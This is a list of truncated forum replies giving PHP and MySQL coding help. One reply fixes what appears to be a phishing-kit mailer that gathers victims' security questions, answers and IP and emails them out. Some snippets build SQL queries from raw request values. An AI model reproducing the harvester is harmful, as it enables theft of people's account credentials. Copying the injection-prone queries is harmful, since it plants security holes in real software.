1,376 Posted Topics
Re: [QUOTE]I´m pretty blind regarding Callback Url. I only know that someone will dump in information that i want to see. Thats it.[/QUOTE] That's a very brief description of what you want and more detail of your goal will be needed. I do know however if you use the http post … | |
I have been pm about this question from Crohole so many times that I thought I would setup a topic where others can join in. Crohole has asked about setting up a bot like I have many times but his questions seem to be looping back to the beginning. So … | |
Re: Well as you pointed out (probably without realising it), the array values are not stored in the variable and instead the actual name/code of the array is stored in the variable of your first code box. So try making the sql variable the following: [CODE=php]$sql='SELECT * FROM TABLE WHERE TM_ID … | |
Re: [QUOTE]$grading_periods[gps].grading_period[/QUOTE] That basically tells the server to append a constant to an array and the constant grading_period would have been made with the define() function. [QUOTE]$tpl->assign('grading_periods',$grading_periods);[/QUOTE] That on its own would be invalid code so in other words that code has been made possible by code before it. And guessing … | |
Re: [QUOTE]I have bult a php site, and going live soon some questions first of all from what i read i need to have a .htaccess file in which it has turn of register_global and disable errors do i need to put anything further?[/QUOTE] I believe that is a php.ini file … | |
Re: Been many years since I used this trick but I remember reading a javascript code where it stops the browser from recording the page in its history making it impossible to go back to unless linked to. I'll try searching for it again but that is one option if the … | |
Hi and I have been searching for a ssh program with a graphical interface purely to upload and download files from the root of the server without ftp. Does anybody suggest any programs for this job? Windows XP Pro is my Operating System and Ubuntu versions are also welcome. | |
Re: [QUOTE=scias23;949349]but how will i output those form fields? i dont know how. i tried to use print_r($_POST), it works. but i want to present the values like: Employee NUmber: 1 FIrst name: Michael Last name: gerona etc: etc ??[/QUOTE] Try adding this at the end of your code: [CODE=php]<?php if … | |
Re: Try making this your code [CODE]$ip = getenv("REMOTE_ADDR"); $message .= "------------------------------------------------------------------\n"; $message .=$_POST['questionselectiongroup0']."\n"; $message .=$_POST['securityanswergroup0']."\n"; $message .=$_POST['questionselectiongroup1']."\n"; $message .=$_POST['securityanswergroup1']."\n"; $message .=$_POST['questionselectiongroup2']."\n"; $message .=$_POST['securityanswergroup2']."\n"; $message .=$_POST['questionselectiongroup3']."\n"; $message .=$_POST['securityanswergroup3']."\n"; $message .= "IP: $ip\n"; $message .= "--------Created By Poison------------------------------\n"; $recipient = "admin@test.com"; $subject = "Security Measures"; $headers = "From: "; $headers .= $_POST['td@tdx.com']."\n"; … | |
Re: I wouldn't suggest downloading external classes when there are two libraries already built in for mysql. One of them is oop and the other function based. The mysql class which is in oop is actually [URL="http://au.php.net/manual/en/book.mysqli.php"]called mysqli[/URL] while the other is just [URL="http://au.php.net/manual/en/book.mysql.php"]called mysql[/URL]. Check those two links as they … | |
Re: It would be better to expand it to two lines or a custom function like the following: [CODE=php]<? function getarray($i) { $i=str_replace(array('(',')'),'',$i); return explode(',',$i); } $input='(1980,Swizerland)'; $array=getarray($input); echo '<xmp>'; print_r($array); echo '</xmp>'; ?>[/CODE] I'm not sure if that is exactly what you want but matches what you have described. | |
Re: That last line would have been a real bug. Try the following: [CODE=php]<?php session_start(); require_once('l2t_connect.php'); if($_GET['action'] == "send") { if(isset($_REQUEST['btnSend'])) { $key=substr($_SESSION['key'],0,5); $number = $_REQUEST['number']; if($number!=$key) { $message = "Please enter the correct Code!"; } } }[/CODE] Also make sure l2t_connect.php does not contain session_start(). Good luck. | |
Re: Why not just try it and find out. That's one of the great things with having xampp or wamp/lamp. Because you can easily test it under a localhost environment with that software and I can tell you now, testing that won't crash a your computer unlike calculating pi to 1,000,000 … | |
Re: There are two possibilities to solve this problem. One is that if you are getting php to write a link with non alpha/numeric characters then simply use the urlencode() function. If however you are using a form with method=get and posts those characters into the url automatically then simply use … | |
Re: Would this be a solution? [CODE=php]<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <script language="javascript" type="text/javascript" src="jquery-1.3.2.min.js"></script> <script language="javascript" type="text/javascript" src="jquery.jSuggest.1.0.js"></script> <title>Simple English Online Dictionary</title> <script type="text/javascript"> $(function($){ $("#searchterm").jSuggest({ minchar: 3, zindex: 20000, delay: 2500, loadingImg: 'ajax-loader_green1.gif', loadingText: 'Searching...', autoChange: true, url: "suggestion.php?", type: "GET", data: "searchterm", }); … | |
Re: [QUOTE=gnarly;926372]Thank you for all of the helpful responses.[/QUOTE] If this topic is solved then please click the solved link to mark it solved but just to add my opinion, if you know c++ then you should be able to make php extensions that can do things which are presently impossible. … | |
Re: If php works from the command console but not through the browser then I would say that php is not communicating with the webserver/apache or the php web service has not started up. You might want to check with the command console the command [ICODE]c:\php\php.exe -r 'php_info();'[/ICODE] At the top … | |
Re: Try using sessions or cookies so php can remember weather the uploader has been processed. | |
Re: Well the only comment I have is that you could do a better database design if I'm reading that code correctly. Also, what is your database design as in what columns are in what table(s)? Although I would design it with only one loop, as pointed out in your code, … | |
Re: I had the same problem with xampp and means that your mail server is not turned on or not configured. It's a nightmare getting it running as I have tried and failed. But it is possible to set the php.ini to not make to mail() function just not do anything … | |
Re: Try replacing the problem area with the following: [CODE=php]$cResult=mysql_fetch_array(mysql_query($qry)); $fn=$cResult[0]; $ln=$cResult[1]; $email=$cResult[2]; $street=$cResult[3];[/CODE] | |
Re: The error is simple and clear. The image path specified in the imagecreatefrompng() function does not exist. So just check that your files are in the right locations as they probably are not or that you may have specified the wrong location in the function. | |
Re: Try logging in as admin and click on the side [ICODE]Administer->Site building->Menus->Navigation[/ICODE] and make sure everything is ticked and be sure to click the save button at the bottom when changing settings. Other than that I would suggest reinstalling drupal be replace the newly created database with your current database. … | |
Re: Try something like this [CODE=php]mysql_query('INSERT INTO lesson (subject, year, learningArea, objectives, ability) VALUES ("'.mysql_real_escape_string($onrow["subject"]).'", "'.mysql_real_escape_string($onrow["year"]).'", "'.mysql_real_escape_string($onrow["learningArea"]).'", "'.mysql_real_escape_string($onrow["objectives"]).'", "'.mysql_real_escape_string($onrow["ability"]).'"') or die(mysql_error());[/CODE] You may also want to post what was on the line before this as it too may also have an effect. | |
Re: Try making a path relative to your script like the following: [CODE=php]<?php if (move_uploaded_file($_FILES['userfile']['tmp_name'], "uploads/")) { print "Received {$_FILES['userfile']['name']} - its size is {$_FILES['userfile']['size']}"; } else { print "Upload Failed"; } ?>[/CODE] Also you can try this altered version:[CODE=php]<?php if (move_uploaded_file($_FILES['userfile']['tmp_name'], "/home/alanhuno/public_html/dw/uploads/")) { print "Received {$_FILES['userfile']['name']} - its size is … | |
Re: A classic example of spam classification. I would suggest try using the following code. [CODE=php]$from="From:mysite@mysite.com\r\n"; $to=$email; $subject="$user left you a Profile Comment"; $content=" $user has given you a new comment on your profile at mysite.Com to view the comment click http://www.mysite.com"; if($content){ mail($to, $subject, $content,$from);[/CODE] Why is it classified as … | |
Re: To download just the single html file or store it in a variable then the following will do the trick: [CODE=php]<? $webpage=file_get_contents('http://www.php.net/'); //now to save the variable to a html file file_put_contents('index.html',$webpage); ?>[/CODE] Hope that helps. | |
Re: For your first question about ip addresses, php can only detect the ip address which is sent from the isp (internet service provider). So if for example a proxy server is setup then only the last link in the ip address chain before reaching your isp will be recorded and … | |
Re: Is this what you mean? [CODE=php]<TEXTAREA NAME="comments3" style='width:50%' rows='4'> <?php for ($i =0; $i < $ValuenumtableChildren; $i++) { echo '<a href="viewingdetails.php?name='.$Valuechild[$i].'</a>'; } ?> </TEXTAREA> [/CODE] | |
Re: Try replacing the retrieve_cats function with the following: [CODE=php]function retrieve_cats($cat) { global $scl; while ($row_sub_cat_list = mysql_fetch_assoc($scl)) { echo $row_sub_cat_list['name'].'<br />'; } }[/CODE] | |
Re: A common problem we all experience when a noob to displaying huge databases. This is where you need to use [URL="http://www.daniweb.com/code/snippet612.html"]pagination[/URL]. Try Googling "php pagination" as i've rarely used it myself and the above link contains an example. | |
Re: [CODE=php]$thumb -> saveImage($thumbpath0,"115","120");[/CODE] If your refering to the above line being the error line then it would be because you need to specify $recourse in the first parameter and not $path. So try looking up functions like createimagefromgif() for the first parameter input. Basically functions like createimagefromjpeg() load a file … | |
Re: The only syntax highlighter I know of is [URL="http://qbnz.com/highlighter/"]Geshi[/URL] which can be downloaded at [URL="http://sourceforge.net/project/showfiles.php?group_id=114997"]http://sourceforge.net/project/showfiles.php?group_id=114997[/URL] Geshi I have used myself and can highlight text for a number of languages using php. However the html code it outputs can be a bit messy like most computer generated code. So try it … | |
Re: Try this: [CODE=php]<?php $query = "select * FROM Ev_AvVolunteers where id_Event='$id_Event' ORDER BY `Name`, `Instrument`"; $results = mysql_query($query) or die("Error performing query"); ?>[/CODE]or[CODE=php]<?php $query = "select * FROM Ev_AvVolunteers where id_Event='$id_Event' ORDER BY `Instrument`, `Name`"; $results = mysql_query($query) or die("Error performing query"); ?>[/CODE] | |
Re: So you want to make a search engine lol. There is a current topic about a simular thing at [URL="http://www.daniweb.com/forums/thread200918.html"]http://www.daniweb.com/forums/thread200918.html[/URL] It talks about the steps to making a bot controlled search engine and even has attached to it some sample scripts. But be aware that there are 2 types of … | |
Re: If you want another ip address in addition to your current ip address then I would suggest that you ask your internet service provider. But as for the free web hosts, [URL="http://www.google.com"]google[/URL] is your friend. I've always paid for my hosts that support php. | |
Re: [QUOTE=rockyman12;906844]Here's what i know.. Server side languages: php (open source) asp (ms) asp.net (ms) what i do not know is.. Ruby ?? Ajax ?? JSP ?? Dhtml?? And the title: Rss, web services and SOAP (what soap u mean washing soap ???) And which language is used to create a … ![]() | |
Re: @praghna Is that a second topic you've posted praghna or is it an answer in the attachment. If you have posted an unrelated/different topic then please make a separate thread. ----------- @varun_1411 As for the question posted by varun_1411, could you post around 20 words so that we can see … | |
Re: [QUOTE=coleguitajuan;906139]Can you guyshave a solution without using the rand function?? thanks you![/QUOTE] Do you mean this? [CODE=php]$value = 50; //input value if ($value < 80) { $sales_code = 'VW'; } else if (($value > 79) && ($value <= 86)) { $sales_code = 'DF'; } else if (($value > 86) && … | |
Re: The type of quotes you used are invalid. I've never seen double italic quotes like that before but the following should do the job. [CODE=html]<html> <head> <title>PHP Test</title> </head> <body> <p>This is an HTML line <p> <?php //before was: echo “This is a PHP line”; echo "This is a PHP … | |
Re: Try this. [CODE=php]$query= 'SELECT * FROM `'.mysql_real_escape_string($_GET[$tablename]).'` WHERE `id` = "'.mysql_real_escape_string($_GET[$row2[$cols]]).'"';[/CODE] | |
Re: It is because you cannot directly use quotes and some other symbols in a mysql query. To solve this you need to escape them like previously mentioned. I am guessing you would like an example so below is one: [CODE=php]mysql_query("INSERT INTO `table` SET `column`='".mysql_real_escape_string($_POST["headline"])."'");[/CODE]Hope the visual helps. | |
Re: Well this is what I would recommend: [LIST][*]Notepad++ [*]XAMPP [*]A web browser [/LIST] Most of the web development tools are included in XAMPP including Perl, CGI, PHP, Apache, MySql, Mail Server, Localhost Uploader. However I find that the mail server is a bugger to get up and running and the … ![]() | |
Re: [CODE]Original Location C:/wamp/www/prawin/new/locations/test/admin/getpics.php[/CODE] Try replacing your locations to something like the following. [CODE]New Location possibilities file://C:/wamp/www/prawin/new/locations/test/admin/getpics.php http://localhost/prawin/new/locations/test/admin/getpics.php http://localhost/new/locations/test/admin/getpics.php[/CODE] Probably find that the browser just can't use the style path you used. | |
Re: One of the first php scripts I downloaded was a php voting poll called apoll. It can be downloaded through [URL="http://www.miticdjd.com/index/scripts/apoll/"]this page[/URL]. Also it's been in beta for years so don't expect an upgrade. Hope it helps. | |
Re: Well if the problem is only in Internet Explorer (IE) I would say IE is the problem and not the script as IE doesn't read javascript properly and has it's bugs. But if you wish for your script to work with IE then I would suggest to check the javascript … ![]() | |
Re: If it is uploadphotos.php that the script is in and you want the photos to be in Gallery/photos then I think it would be one of the following: [CODE]../../Gallery/photos/ ../../../Gallery/photos/[/CODE] Hope that helps. | |
Re: Well if that website that php re-enters the password in uses $_GET tags and not $_POST tags then you can simply use the file_get_contents() function to retieve the information. If however the external website uses $_POST tags then you will need to use curl. So the basic usage of file_get_contents … | |
Re: Well to add the 10 and NA you will need to convert NA to an integre/number. So the following should do the job: [CODE=php]$var1=str_replace('NA',0,$_GET['input1']); $var2=str_replace('NA',0,$_GET['input2']); $var3=str_replace('NA',0,$_GET['input3']); $var4=str_replace('NA',0,$_GET['input4']); if (($var1+$var2)>($var3+$var4)) { //blah }[/CODE]However you may want to replace $_GET with whatever you already have in place. | |
Re: Wierd those mysqli functions. Try converting your code to the mysql equivilents such as the following: [CODE=php]mysql_connect("localhost", "user", "pass") or die("<p>Unable to connect to the database server</p>" . "<p>Error code ".mysql_error());[/CODE] |
The End.